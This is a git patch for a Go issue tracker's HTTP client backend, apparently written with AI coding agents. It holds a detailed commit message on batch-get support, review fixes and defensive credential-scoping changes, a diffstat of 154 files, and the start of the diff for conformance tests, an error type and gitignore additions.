5 * feat(httpclient): implement issueops.BatchGetter for the HTTP client leg The rebase onto origin/main (item 9 of PR #7247's review) brought in upstream #7248's new issueops.BatchGetter role on storage.DoltStorage, breaking the HTTP client leg's interface satisfaction. This wires it up as a read role (no actor, no version guard, writes nothing — dialed as a POST only because MaxGetManyIDs ids cannot ride a GET query string), mirroring Counter/Querier rather than the WriteWire-wrapped roles. - wire/paths.go: add PathIssuesBatchGet ("/v0/beads/issues:batchGet"). - batchgetter.go: httpBatchGetter.GetMany dials the server and stitches each resolved issue's RowVersion from apigen.BatchGetIssue.Revision (the role's only wire spelling of the row token, since RowVersion is json:"-"). checkGetManyIDs pre-validates the cap and blank-id rules, in the same order internal/storage/issueops.ValidateGetManyRequest applies them, because batch_get.go's failBatchGetErr collapses every validation failure into one generic, code-less InvalidArgument the client could never decode back into *issueops.TooManyIDsError. - accessors.go: add the BatchGetter() accessor (26th wire-backed role). - unsupported_gen.go: regenerated, dropping the now-implemented stub. - completeness_test.go: move BatchGetter into wireBackedAccessors and bump the asserted accessor-matrix total from 28 to 29. - served_test.go / served_harness_test.go: both package-local "by hand" httpapi.Config builders (serveRoles, serveConfig) now wire cfg.BatchGetter, fixing ~56 served-tier tests that broke once BatchGetter joined httpapi.Listen's required role set. - served_batch_getter_test.go: wire the HTTP leg into all 14 backend/conformance.RunBatchGetterXxx cases, following served_graph_counter_test.go's pattern. This surfaced a real bug: GetMany built Missing via append([]string(nil), body.Missing...), which stays nil when the server reports no misses, violating the role's "Missing is never nil on success" contract — fixed to build via make([]string, len(body.Missing)) + copy. Verified: go build/vet clean; internal/httpclient suite green (including the embedded-dolt served tier); TestEveryLegWiresEveryRoleContract holds the http leg's adoption ceiling at exactly 42 with no change needed; TestInterfaceCompleteness and TestAccessorMatrixMatchesDesign pass. Co-Authored-By: Claude Sonnet 5 * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37450731721 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. * test(httpclient): lock contextServer.seen against concurrent handler goroutines TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost drives the stub with bursts of 8 concurrent requests; the handler appended to seen without a lock. Readers only look at seen after their requests return. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): sync go_srcs managed blocks for unsupportedgen after the main merge The PR adds internal/storage/unsupportedgen on a base that predates #7320, which gave every Bazel package a managed repo_files filegroup. On the merge, `python3 tools/bazel/go_srcs.py --check` (TestBazelGoSrcsBlocksCurrent) found 3 stale blocks: the package's own repo_files block, its entry in the root BUILD.bazel repo_files list, and its entry in tools/bazel/BUILD.bazel. `make bazel-sync` regenerated exactly those; gazelle changed nothing else. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(httpclient): refuse DepAddItem.HasSpawner and ThreadID on applyBatch after the main merge Main's #7209 gave issueops.DepAddItem two members, HasSpawner and ThreadID, and a conformance case, RunBatchApplyStampsSpawnerIDOnlyWhenNamed. ApplyDepAddItem on the v0 wire publishes source, target, type and metadata only, so on the merge the http leg dropped both silently and two of the PR's gates went red: - TestEveryWireExcludedWriteMemberCarriesALedgerRow: the reflective census found two wire-excluded DepAddItem members with no ledger row. - TestEveryLegWiresEveryRoleContract/http: the new case left the leg at 43 unwired cases against its exact ceiling of 42. applyDepAddItemBody now refuses each member where the role would store something the wire cannot say, under two new KindRefuse rows, W-DepAddItem.HasSpawner and W-DepAddItem.ThreadID. The spawner flag refuses only on a waits-for edge, because the role ignores it on every other type and stores the same row either way. The ledger doc is regenerated (264 rows). The served tier wires the new case as a park on W-DepAddItem.HasSpawner, owned by the family's existing bead, which brings the http leg back to its ceiling. With the skip removed the case fails on the client's refusal; with the refusal also removed it fails on the drop the row names: spawner_id "" where the role stamps the resolved target. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(httpclient): address #7247 relaunch review iteration 1 Review iteration 1 of the relaunched adoption raised six majors. This commit fixes all six. Five are the majors the first adoption's iteration 1 raised. Its fixup, 696803f250 (tag adopt-pr/bd-f5illd/stranded-fixup-696803f250), fixed them but never reached the branch. That fix is ported here onto the contributor's current head, with its reasoning unchanged; the sixth is new. Creates refused what the CLI sends. Every `bd create` carries CreatedBy, a workspace whose config.yaml names a prefix also carries IDPrefix, and the client refused both. - The server stamps created_by from the actor on all three create shapes: batch_create.go and batch_apply.go now match create.go. - The client sends a CreatedBy that names the actor and refuses any other value, which the server's stamp would silently replace. createIssue and the apply create item share refuseUnwirableIssueMembers. - IDPrefix refuses only where the role would act on it: an explicit, unforced id. - `bd create --file` stays refused over http. Dropping its Status was safe but not enough: the batch create still refuses its Provenance and Owner. The markdown.go and batchcreator.go comments that called it servable now say so. keysetFilter ignored AfterPriority. It now compares priority first, mirroring sqlbuild's KeysetPriorityCreatedAtIDPredicate, and a new served case resumes a priority keyset position. AfterID or AfterPriority without AfterCreatedAt no longer reads as a zero-instant position that discarded every row (the AfterID minor). Claim with a patch was refused on a false ledger claim. `claim`, `force_assignee_transfer` and `force_close_policy` now ride updateBody like `force_notes_overwrite`, so a claim with a patch or a version guard is one updateIssue call. A claim ALONE sent to a server that predates the member (#6890) falls back to claimIssue. The three ledger rows are retired, and the served cases parked on them now run. OpenReadOnly returns a writable store. It stays writable, as a documented exception: backends.Backend.OpenReadOnly also serves the root pre-run's classified reads, and `bd ready --claim` writes through that store. The exception is named in the backends.Backend contract, the store_factory invariant and the store doc, and TestReadOnlyOpenServesTheClaimBdReadyMakes pins it. An OpenNonMutating backend hook is the follow-up. Security surface. - http_target.json is in the doctor gitignore template and its required patterns. - BEADS_HTTP_TOKEN and BEADS_HTTP_TOKEN_COMMAND are host-scoped with BEADS_HTTP_CA_FILE's "host[:port]=value" syntax. A value scoped to another server falls through to the next rung, and a command scoped elsewhere never runs. - LoadTarget and SaveTarget refuse a url that carries userinfo, and Target.String drops userinfo. The served Tier 3 had no CI home. The new target //internal/httpclient:httpclient_served_test is an `embedded`-tagged sh_test. It reruns httpclient_test's binary through tools/bazel/go_test_variant.sh with the script's BEADS_TEST_EMBEDDED_DOLT=1 and BEADS_HTTP_TEST_REQUIRED=1, in 24 shards on the embedded lane's race build. bazel.yml's bazel-embedded job already runs `bazel test //... --config=embedded`, so no workflow changes. - -test.timeout=19m, not the script's 40m: Go's own timeout then fires, and dumps every goroutine, before the action's 1200s limit. - TestBazelRetiredLanesCannotBeNarrowed pins its args and env. The new TestConformanceServedTierRunsUnderBazel ties the script's Tier 3 switches to the rule. - The new untagged TestServedTierIsLinkedWhenRequired fails a required run built without cgo, which drops every served file (the sentinel minor). - A first 12-shard run found two test defects; both are fixed. TestServedBatchApplyBoundsTheItemCount's 1000-item apply outlasts the client's 60s per-request timeout under -race, so a race_detector_{on,off}_test.go pair scales its "at bound" half to 150 there, as embeddeddolt's TestBatchApplyContract does. And TestTheCompositionCatchesAWrongParameter's dropped-filter case leaned on rows earlier tests had seeded: run alone, or first in its shard, it failed. It now seeds its own row outside the scope. - conformance.sh, its script test and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md name the target. Deviations from the review's suggested fixes: - A bare BEADS_HTTP_TOKEN(_COMMAND) fails closed rather than falling back, and the error does not echo the value: a bare token split at an "=" would put token text into the pattern half. Dropping the bare syntax is safe today: the backend has no Register call site and no docs/ page names the variables. - Target.String drops userinfo instead of using url.URL.Redacted, which masks only the password, so a token used as the username would print. - The pre-#6890 claimIssue fallback leaves RowVersion unset instead of borrowing the follow-up read's token. That read is a second snapshot, so its token could postdate a write this claim never saw and arm a guard that should miss; a guard built from the unset token fails closed. Against a current server the claim rides updateIssue, whose `revision` is stitched as for any update. Also fixed: the nit about the completeness failure message, which now says to regenerate the shell, and the offrole.go tombstone comment that named a skip list which no longer exists. Left for follow-up (all latent, since httpclient.Register has no production caller): vocabOnce latching a failed fetch, snapshot holding s.mu across the handshake dial, unchunked graph anchors, private tracker IDs in park owners, and the bounded journal limit above 10000. Validation: - git diff --check; gofmt -l; go vet over internal/httpclient/... and scripts - go test -tags gms_pure_go over internal/httpapi/..., internal/httpclient/..., internal/storage/backends/... and backend/conformance/...; the doctor gitignore tests; the cmd/bd events-journal construction guard; ./scripts - bazel test --config=embedded //internal/httpclient:httpclient_served_test on the lane's remote executors: 24 shards, 702 top-level tests, 632 pass, 70 skip (69 ledgered KNOWN DIVERGENCE, plus TestCAFileHygieneRefusesGroupWritableFile, which finds no supplementary group on the executor), 0 fail, 0 data races; slowest shard 283s. tools/bazel/check_testcases.py --bep passes. - each of the 702 tests run alone (go test -run '^Name$', without -race): 0 fail - the whole tier under go test without -race, with the script's switches and -timeout=40m, before the two test fixes: 633 pass, 69 skip, 0 fail - removing BEADS_HTTP_TEST_REQUIRED from the rule fails both policy tests - bazel test --config=ci over //internal/httpclient/..., //internal/httpapi/..., //scripts/..., //test/docsync/..., //internal/storage/backends/..., //backend/conformance/... and //cmd/bd/doctor/...: 32 tests pass - make ci-pr-lint: nogo native plus windows/darwin, passes Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Eddie the Engineer --- BUILD.bazel | 1 + .../lifecycle_close_reopen_contract.go | 81 + backend/conformance/role_bundle_cases.go | 1 + beadserrors/errors.go | 11 + cmd/bd/doctor/gitignore.go | 4 + cmd/bd/doctor/gitignore_test.go | 30 + cmd/bd/events_journal_construction_test.go | 12 +- cmd/bd/markdown.go | 32 +- cmd/bd/store_factory.go | 10 + cmd/bd/store_factory_nocgo.go | 3 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 4 + engdocs/design/http-divergence-ledger.md | 185 +- internal/httpapi/batch_apply.go | 8 + internal/httpapi/batch_apply_test.go | 5 + internal/httpapi/batch_create.go | 7 + internal/httpapi/batch_create_test.go | 7 + internal/httpapi/create.go | 12 + internal/httpapi/create_test.go | 16 +- internal/httpclient/BUILD.bazel | 192 ++ internal/httpclient/accessors.go | 386 ++++ .../httpclient/backend_credential_test.go | 2 +- internal/httpclient/batchapplier.go | 769 +++++++ internal/httpclient/batchapplier_test.go | 999 +++++++++ internal/httpclient/batchcloser.go | 370 ++++ internal/httpclient/batchcreator.go | 296 +++ internal/httpclient/batchgetter.go | 130 ++ internal/httpclient/bridge.go | 197 ++ internal/httpclient/brief_test.go | 157 ++ internal/httpclient/bulk_roles_test.go | 872 ++++++++ internal/httpclient/ca_test.go | 32 +- internal/httpclient/claimer.go | 48 + internal/httpclient/commenter.go | 110 + internal/httpclient/completeness_test.go | 552 +++++ internal/httpclient/composition_test.go | 143 ++ internal/httpclient/counter.go | 191 ++ internal/httpclient/counts_test.go | 738 +++++++ internal/httpclient/credential.go | 104 +- internal/httpclient/credential_source_test.go | 4 +- internal/httpclient/credential_test.go | 140 +- internal/httpclient/deleter.go | 125 ++ internal/httpclient/dependencyeditor.go | 139 ++ internal/httpclient/detail_reads.go | 139 ++ internal/httpclient/dial.go | 322 +++ internal/httpclient/dial_test.go | 221 ++ internal/httpclient/dispatch.go | 113 + internal/httpclient/dispatch_test.go | 139 ++ .../divergence_citation_gate_test.go | 160 ++ internal/httpclient/divergence_test.go | 35 + internal/httpclient/encode/bijection_test.go | 3 +- internal/httpclient/encode/encode.go | 8 +- internal/httpclient/encode/ledger.go | 220 +- internal/httpclient/encode/ledger_render.go | 14 +- internal/httpclient/encode/table.go | 6 + internal/httpclient/errors.go | 102 + internal/httpclient/journal.go | 213 ++ internal/httpclient/lifecycle.go | 917 +++++++++ internal/httpclient/lifecycle_create_test.go | 289 +++ internal/httpclient/lifecycle_update_test.go | 308 +++ internal/httpclient/list_sort_test.go | 209 ++ internal/httpclient/list_walk.go | 457 +++++ internal/httpclient/memories.go | 122 ++ internal/httpclient/metadata.go | 140 ++ internal/httpclient/metadatacas.go | 127 ++ internal/httpclient/metadatacas_test.go | 283 +++ internal/httpclient/offrole.go | 37 + internal/httpclient/order.go | 123 ++ internal/httpclient/race_detector_off_test.go | 6 + internal/httpclient/race_detector_on_test.go | 13 + internal/httpclient/readyclaimer.go | 290 +++ internal/httpclient/refusal.go | 87 + internal/httpclient/register.go | 30 + internal/httpclient/relations.go | 146 ++ internal/httpclient/releaser.go | 154 ++ .../httpclient/required_served_tier_test.go | 23 + internal/httpclient/resolve.go | 222 ++ internal/httpclient/role_querier.go | 76 + internal/httpclient/role_reader.go | 131 ++ internal/httpclient/role_readycounter.go | 70 + internal/httpclient/roles_aux.go | 314 +++ internal/httpclient/roles_graph.go | 472 +++++ .../httpclient/roles_graph_cycles_test.go | 59 + internal/httpclient/roles_test.go | 445 ++++ .../httpclient/served_batch_apply_test.go | 457 +++++ .../httpclient/served_batch_close_test.go | 170 ++ .../httpclient/served_batch_getter_test.go | 63 + internal/httpclient/served_bridge_test.go | 664 ++++++ internal/httpclient/served_bulk_test.go | 820 ++++++++ .../httpclient/served_claim_lifecycle_test.go | 1313 ++++++++++++ internal/httpclient/served_commenter_test.go | 196 ++ internal/httpclient/served_config_test.go | 140 ++ .../httpclient/served_config_write_test.go | 236 +++ internal/httpclient/served_counter_test.go | 96 + .../httpclient/served_detail_reads_test.go | 380 ++++ internal/httpclient/served_dualrun_test.go | 495 +++++ internal/httpclient/served_graph_aux_test.go | 255 +++ .../httpclient/served_graph_counter_test.go | 68 + internal/httpclient/served_harness_test.go | 540 +++++ internal/httpclient/served_hooks_test.go | 254 +++ .../served_issue_operations_test.go | 261 +++ internal/httpclient/served_journal_test.go | 95 + .../served_lifecycle_create_test.go | 398 ++++ internal/httpclient/served_list_test.go | 1774 ++++++++++++++++ .../httpclient/served_memories_deps_test.go | 431 ++++ .../httpclient/served_metadata_cas_test.go | 153 ++ .../httpclient/served_project_swap_test.go | 218 ++ internal/httpclient/served_querier_test.go | 113 + internal/httpclient/served_reader_test.go | 441 ++++ .../httpclient/served_ready_claimer_test.go | 155 ++ .../httpclient/served_readycounter_test.go | 82 + internal/httpclient/served_relations_test.go | 101 + internal/httpclient/served_releaser_test.go | 319 +++ internal/httpclient/served_test.go | 382 ++++ .../httpclient/served_wrong_server_test.go | 135 ++ internal/httpclient/servercontext.go | 29 + internal/httpclient/store.go | 199 ++ internal/httpclient/store_dependent_test.go | 550 +++++ internal/httpclient/store_test.go | 465 +++++ internal/httpclient/sweeper.go | 139 ++ internal/httpclient/target.go | 40 +- internal/httpclient/target_seam.go | 74 + internal/httpclient/target_test.go | 56 + internal/httpclient/unsupported.go | 26 + internal/httpclient/unsupported_gen.go | 745 +++++++ internal/httpclient/vocabulary.go | 289 +++ internal/httpclient/watch.go | 67 + internal/httpclient/watch_test.go | 53 + internal/httpclient/wave2b_roles_test.go | 544 +++++ internal/httpclient/wave2c_claimnext_test.go | 356 ++++ internal/httpclient/wave2c_config_test.go | 302 +++ internal/httpclient/wave2c_journal_test.go | 356 ++++ internal/httpclient/wire/BUILD.bazel | 1 + internal/httpclient/wire/credential.go | 8 +- internal/httpclient/wire/handshake.go | 41 +- internal/httpclient/wire/handshake_test.go | 48 + internal/httpclient/wire/paths.go | 1 + internal/httpclient/wire/writes.go | 67 +- .../httpclient/wire/writes_twospeed_test.go | 2 +- internal/httpclient/write_ledger_test.go | 1092 ++++++++++ internal/httpclient/write_roles_test.go | 1814 +++++++++++++++++ internal/httpclient/writewire.go | 163 ++ internal/storage/BUILD.bazel | 2 + internal/storage/backends/backends.go | 8 + .../storage/contract_leg_registry_test.go | 21 + .../lifecycle_close_reopen_contract_test.go | 3 + .../lifecycle_close_reopen_contract_test.go | 3 + internal/storage/leg_contract_wiring_test.go | 152 ++ internal/storage/unsupportedgen/BUILD.bazel | 57 + internal/storage/unsupportedgen/main.go | 382 ++++ internal/storage/unsupportedgen/main_test.go | 86 + .../lifecycle_close_reopen_contract_test.go | 3 + scripts/conformance.sh | 24 +- scripts/conformance_script_test.go | 41 +- scripts/pr_risk_bazel_coverage_test.go | 7 + tools/bazel/BUILD.bazel | 1 + 154 files changed, 33661 insertions(+), 231 deletions(-) create mode 100644 internal/httpclient/accessors.go create mode 100644 internal/httpclient/batchapplier.go create mode 100644 internal/httpclient/batchapplier_test.go create mode 100644 internal/httpclient/batchcloser.go create mode 100644 internal/httpclient/batchcreator.go create mode 100644 internal/httpclient/batchgetter.go create mode 100644 internal/httpclient/bridge.go create mode 100644 internal/httpclient/brief_test.go create mode 100644 internal/httpclient/bulk_roles_test.go create mode 100644 internal/httpclient/claimer.go create mode 100644 internal/httpclient/commenter.go create mode 100644 internal/httpclient/completeness_test.go create mode 100644 internal/httpclient/composition_test.go create mode 100644 internal/httpclient/counter.go create mode 100644 internal/httpclient/counts_test.go create mode 100644 internal/httpclient/deleter.go create mode 100644 internal/httpclient/dependencyeditor.go create mode 100644 internal/httpclient/detail_reads.go create mode 100644 internal/httpclient/dial.go create mode 100644 internal/httpclient/dial_test.go create mode 100644 internal/httpclient/dispatch.go create mode 100644 internal/httpclient/dispatch_test.go create mode 100644 internal/httpclient/divergence_citation_gate_test.go create mode 100644 internal/httpclient/divergence_test.go create mode 100644 internal/httpclient/errors.go create mode 100644 internal/httpclient/journal.go create mode 100644 internal/httpclient/lifecycle.go create mode 100644 internal/httpclient/lifecycle_create_test.go create mode 100644 internal/httpclient/lifecycle_update_test.go create mode 100644 internal/httpclient/list_sort_test.go create mode 100644 internal/httpclient/list_walk.go create mode 100644 internal/httpclient/memories.go create mode 100644 internal/httpclient/metadata.go create mode 100644 internal/httpclient/metadatacas.go create mode 100644 internal/httpclient/metadatacas_test.go create mode 100644 internal/httpclient/offrole.go create mode 100644 internal/httpclient/order.go create mode 100644 internal/httpclient/race_detector_off_test.go create mode 100644 internal/httpclient/race_detector_on_test.go create mode 100644 internal/httpclient/readyclaimer.go create mode 100644 internal/httpclient/refusal.go create mode 100644 internal/httpclient/register.go create mode 100644 internal/httpclient/relations.go create mode 100644 internal/httpclient/releaser.go create mode 100644 internal/httpclient/required_served_tier_test.go create mode 100644 internal/httpclient/resolve.go create mode 100644 internal/httpclient/role_querier.go create mode 100644 internal/httpclient/role_reader.go create mode 100644 internal/httpclient/role_readycounter.go create mode 100644 internal/httpclient/roles_aux.go create mode 100644 internal/httpclient/roles_graph.go create mode 100644 internal/httpclient/roles_graph_cycles_test.go create mode 100644 internal/httpclient/roles_test.go create mode 100644 internal/httpclient/served_batch_apply_test.go create mode 100644 internal/httpclient/served_batch_close_test.go create mode 100644 internal/httpclient/served_batch_getter_test.go create mode 100644 internal/httpclient/served_bridge_test.go create mode 100644 internal/httpclient/served_bulk_test.go create mode 100644 internal/httpclient/served_claim_lifecycle_test.go create mode 100644 internal/httpclient/served_commenter_test.go create mode 100644 internal/httpclient/served_config_test.go create mode 100644 internal/httpclient/served_config_write_test.go create mode 100644 internal/httpclient/served_counter_test.go create mode 100644 internal/httpclient/served_detail_reads_test.go create mode 100644 internal/httpclient/served_dualrun_test.go create mode 100644 internal/httpclient/served_graph_aux_test.go create mode 100644 internal/httpclient/served_graph_counter_test.go create mode 100644 internal/httpclient/served_harness_test.go create mode 100644 internal/httpclient/served_hooks_test.go create mode 100644 internal/httpclient/served_issue_operations_test.go create mode 100644 internal/httpclient/served_journal_test.go create mode 100644 internal/httpclient/served_lifecycle_create_test.go create mode 100644 internal/httpclient/served_list_test.go create mode 100644 internal/httpclient/served_memories_deps_test.go create mode 100644 internal/httpclient/served_metadata_cas_test.go create mode 100644 internal/httpclient/served_project_swap_test.go create mode 100644 internal/httpclient/served_querier_test.go create mode 100644 internal/httpclient/served_reader_test.go create mode 100644 internal/httpclient/served_ready_claimer_test.go create mode 100644 internal/httpclient/served_readycounter_test.go create mode 100644 internal/httpclient/served_relations_test.go create mode 100644 internal/httpclient/served_releaser_test.go create mode 100644 internal/httpclient/served_test.go create mode 100644 internal/httpclient/served_wrong_server_test.go create mode 100644 internal/httpclient/servercontext.go create mode 100644 internal/httpclient/store.go create mode 100644 internal/httpclient/store_dependent_test.go create mode 100644 internal/httpclient/store_test.go create mode 100644 internal/httpclient/sweeper.go create mode 100644 internal/httpclient/target_seam.go create mode 100644 internal/httpclient/unsupported.go create mode 100644 internal/httpclient/unsupported_gen.go create mode 100644 internal/httpclient/vocabulary.go create mode 100644 internal/httpclient/watch.go create mode 100644 internal/httpclient/watch_test.go create mode 100644 internal/httpclient/wave2b_roles_test.go create mode 100644 internal/httpclient/wave2c_claimnext_test.go create mode 100644 internal/httpclient/wave2c_config_test.go create mode 100644 internal/httpclient/wave2c_journal_test.go create mode 100644 internal/httpclient/write_ledger_test.go create mode 100644 internal/httpclient/write_roles_test.go create mode 100644 internal/httpclient/writewire.go create mode 100644 internal/storage/unsupportedgen/BUILD.bazel create mode 100644 internal/storage/unsupportedgen/main.go create mode 100644 internal/storage/unsupportedgen/main_test.go diff --git a/BUILD.bazel b/BUILD.bazel index 97db2f488..3699152e2 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -345,6 +345,7 @@ filegroup( "//internal/storage/sqlclass:repo_files", "//internal/storage/sqlcount:repo_files", "//internal/storage/storagecontract:repo_files", + "//internal/storage/unsupportedgen:repo_files", "//internal/storage/uow:repo_files", "//internal/storage/versioncontrolops:repo_files", "//internal/telemetry:repo_files", diff --git a/backend/conformance/lifecycle_close_reopen_contract.go b/backend/conformance/lifecycle_close_reopen_contract.go index ca40fe53a..2395cfa3c 100644 --- a/backend/conformance/lifecycle_close_reopen_contract.go +++ b/backend/conformance/lifecycle_close_reopen_contract.go @@ -1092,6 +1092,87 @@ func RunLifecycleResultsAreHydratedPostStateSnapshots(t *testing.T, ctx context. lifecycleCloseReopenAssertSnapshot(t, "reopen result", reopened.Issue, peer) } +// RunLifecycleResultsCarryThePostWriteRowVersion pins that every write this +// role owns — Update, Close and Reopen — hands back a result whose +// Issue.RowVersion is the row's REAL post-write optimistic-concurrency token, +// not a zero value. types.Issue.RowVersion is `json:"-"`: an implementation +// that forgot to populate it on the way back from its own storage would still +// compile and would still pass every content assertion elsewhere in this +// file, because none of them read RowVersion. +// +// The assertion is a CHAIN rather than three independent zero-checks, because +// a zero-check alone cannot tell a dropped token from a WRONG one (an +// implementation could answer a nonzero constant, or the PRE-write version, +// and still clear it). Each step feeds the token the previous write answered +// with straight into the next write's ExpectedVersion, with no intervening +// read: the claim's token guards the Notes update, Update's token guards +// Close, and Close's token guards Reopen. A guard only passes if the token it +// was given equals the row's actual current version at the instant the next +// write runs, so a wrong or stale token fails closed — the next write +// refuses with ErrVersionMismatch — rather than silently succeeding. Any one +// dropped member breaks the chain at that link. +// +// The chain's first link is a CLAIM-ONLY request (Claim: true, no Patch), +// deliberately unguarded (UpdateRequest.Claim forbids combining Claim with +// ExpectedVersion — see issueops.UpdateRequest's doc): a backend that answers +// Lifecycle.Update's generic patch wire but special-cases a bare claim onto a +// different internal path (the http leg once dialed the Claimer role directly +// for one; it now folds the claim into updateIssue, keeping claimIssue only as +// the fallback for a server that predates updateIssue's `claim` member) could +// easily populate RowVersion on one path and not the other; this exercises +// the claim-only shape specifically, not just the Patch shape the rest of the +// chain already covered. +func RunLifecycleResultsCarryThePostWriteRowVersion(t *testing.T, ctx context.Context, fixture LifecycleCloseReopenFixture) { + t.Helper() + + id := fixture.IssuePrefix + "-lcr-rowversion" + lifecycleCloseReopenSeedIssue(t, ctx, fixture, id, types.StatusOpen, nil) + + claimed, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: id, Claim: true, + }) + if err != nil { + t.Fatalf("claim %s: %v", id, err) + } + if claimed.Issue == nil || claimed.Issue.RowVersion == 0 { + t.Fatalf("claim result RowVersion = %+v, want a nonzero post-write token", claimed.Issue) + } + claimVersion := claimed.Issue.RowVersion + + updated, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: id, ExpectedVersion: &claimVersion, + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "rowversion chain"}}, + }) + if err != nil { + t.Fatalf("update %s guarded by the claim's own token: %v — the claim result's RowVersion was not the row's real current version", id, err) + } + if updated.Issue == nil || updated.Issue.RowVersion == 0 { + t.Fatalf("update result RowVersion = %+v, want a nonzero post-write token", updated.Issue) + } + updateVersion := updated.Issue.RowVersion + + closed, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{ + Actor: "writer", IssueID: id, ExpectedVersion: &updateVersion, + }) + if err != nil { + t.Fatalf("close %s guarded by the update's own token: %v — the update result's RowVersion was not the row's real current version", id, err) + } + if closed.Issue == nil || closed.Issue.RowVersion == 0 { + t.Fatalf("close result RowVersion = %+v, want a nonzero post-write token", closed.Issue) + } + closeVersion := closed.Issue.RowVersion + + reopened, err := fixture.Lifecycle.Reopen(ctx, publicops.ReopenRequest{ + Actor: "writer", IssueID: id, ExpectedVersion: &closeVersion, + }) + if err != nil { + t.Fatalf("reopen %s guarded by the close's own token: %v — the close result's RowVersion was not the row's real current version", id, err) + } + if reopened.Issue == nil || reopened.Issue.RowVersion == 0 { + t.Fatalf("reopen result RowVersion = %+v, want a nonzero post-write token", reopened.Issue) + } +} + // RunLifecycleCloseAndReopenRequireActorAndIssueID pins the deterministic // validation floor both verbs sit on. The Lifecycle doc states "Deterministic // request validation failures match ErrValidation" and "Refusals and diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index bf65f8e7b..55385d9b7 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -429,6 +429,7 @@ var roleContractCases = []roleContract{ RunLifecycleExpectedVersionIsCheckedBeforeTheNoOps, RunLifecycleReopenRecordsItsReason, RunLifecycleResultsAreHydratedPostStateSnapshots, + RunLifecycleResultsCarryThePostWriteRowVersion, RunLifecycleCloseAndReopenRequireActorAndIssueID, RunLifecycleReopenProvenanceLabelsHistory, RunLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers, diff --git a/beadserrors/errors.go b/beadserrors/errors.go index 7f2e0491c..31748e554 100644 --- a/beadserrors/errors.go +++ b/beadserrors/errors.go @@ -66,8 +66,19 @@ var ErrNotInitialized = errors.New("database not initialized") type ErrUnsupported struct { Op string // method name, e.g. "AddLabel" or "Transaction.CreateIssues" Backend string // e.g. "dolt-server" + // Capability names the advertised token a server-version skew refusal was + // missing, when that is the reason — e.g. the http backend's own + // *wire.CapabilityError, which unwraps to one of these so a caller holding + // only a role interface can classify a skew refusal the same way as any + // other unsupported capability, without importing the wire package. + // Empty for every refusal that is not a skew: a backend that simply never + // implemented an accessor names no token it could have advertised. + Capability string } func (e *ErrUnsupported) Error() string { + if e.Capability != "" { + return fmt.Sprintf("operation %q not supported by the %s backend (capability %q not advertised)", e.Op, e.Backend, e.Capability) + } return fmt.Sprintf("operation %q not supported by the %s backend", e.Op, e.Backend) } diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index a719fe1b0..88904836e 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -41,6 +41,9 @@ push-state.json proxied_server_client_info.json +# http backend activation sidecar (per-user server URL and identity pin) +http_target.json + # Worktree redirect file (contains relative path to main repo's .beads/) # Must not be committed as paths would be wrong in other clones redirect @@ -139,6 +142,7 @@ var requiredPatterns = []string{ "*.corrupt.backup/", ".beads-credential-key", "proxied_server_client_info.json", + "http_target.json", ".local_version", "backup/", } diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index cc4e679ce..47e505229 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -1664,6 +1664,36 @@ func TestGitignore_ContainsDoltServerConfig(t *testing.T) { } } +// TestGitignore_ContainsHTTPTarget verifies that the http backend's activation +// sidecar is ignored like proxied_server_client_info.json, the per-user +// sidecar it follows. It names the server the bearer ladder authorizes +// against, so a committed copy would point every clone at that server. It +// must be in requiredPatterns too, so bd doctor --fix heals an existing +// .beads/.gitignore. +func TestGitignore_ContainsHTTPTarget(t *testing.T) { + // Keep this in sync with httpclient.TargetFileName; cmd/bd/doctor does not + // import the client for a string constant. + const pattern = "http_target.json" + + if !containsGitignorePattern(GitignoreTemplate, pattern) { + t.Errorf("GitignoreTemplate should contain %q", pattern) + } + if missing := missingGitignorePatterns(GitignoreTemplate); len(missing) != 0 { + t.Errorf("GitignoreTemplate is missing required patterns %v", missing) + } + + found := false + for _, p := range requiredPatterns { + if p == pattern { + found = true + break + } + } + if !found { + t.Errorf("requiredPatterns should include %q", pattern) + } +} + // TestCheckLastTouchedNotTracked_NoFile verifies that check passes when no last-touched file exists func TestCheckLastTouchedNotTracked_NoFile(t *testing.T) { tmpDir := t.TempDir() diff --git a/cmd/bd/events_journal_construction_test.go b/cmd/bd/events_journal_construction_test.go index bdfb78fbd..0a2f5c345 100644 --- a/cmd/bd/events_journal_construction_test.go +++ b/cmd/bd/events_journal_construction_test.go @@ -113,11 +113,13 @@ var scannedPackages = map[string]string{ // The staleness check below fails if an exemption stops matching a real // construction site, so an exemption cannot rot into a permanent excuse. var constructionExemptions = map[string]string{ - // Non-mutating opens. Every arm returns a store that refuses writes - // (OpenReadOnly / OpenForPreviewCommand / a ReadOnly server config), so - // there is no mutation for a journal row to accompany. - "store_factory.go:openNonMutatingStoreFromConfig": "read-only/preview open: the store refuses writes, so no mutation can go 